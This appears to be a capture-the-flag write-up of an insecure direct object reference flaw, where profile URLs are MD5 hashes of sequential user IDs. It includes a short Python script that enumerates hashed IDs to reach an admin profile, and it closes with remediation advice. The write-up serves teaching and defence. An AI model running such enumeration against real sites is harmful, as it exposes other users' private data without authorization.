Vulnerability Overview
The application used MD5(user_id) as the profile URL identifier under the assumption that hash unpredictability would prevent enumeration. However, when the input space is small and partially known (a sequential numeric ID near a disclosed value), the hash provides no security — every possible value can be precomputed and tested.
Reconnaissance
The page source disclosed guest credentials in an HTML comment. After login, the profile URL was:
https://[target]/profile/user/e93028bdc1aacdfb3687181f2031765dThe profile page disclosed the guest's numeric ID: 3000. Verifying the hypothesis:
import hashlib
hashlib.md5("3000".encode()).hexdigest()
# e93028bdc1aacdfb3687181f2031765d ✅The URL identifier was MD5 of the numeric user ID — fully predictable given the ID.
Exploitation
With ~20 employees noted in the challenge hints and the guest ID at 3000, the admin was likely within a small range. A script enumerated IDs 2980–3020:
import hashlib, requests
base = "http://[target]/profile/user/"
for i in range(2980, 3021):
h = hashlib.md5(str(i).encode()).hexdigest()
r = requests.get(base + h).text
if "flag" in r or "admin" in r.lower():
print(i, r[:100])
breakAdmin user ID was 3018. No server-side authorization check prevented access.
Root Cause
This is an IDOR vulnerability — the application used a predictable (if hashed) identifier to reference user objects without verifying that the requesting user was authorized to access that object. MD5 of a small integer is not an access control mechanism.
| Control | Implementation |
|---|---|
| Server-side authorization check | On every profile request, verify session.user_id == requested_user_id or that the requester has admin role |
| Use UUIDs, not sequential IDs | UUIDs (v4) have 122 bits of randomness — not practically enumerable |
| Understand that hashing ≠ authorization | MD5(sequential_id) provides no security when the input range is guessable |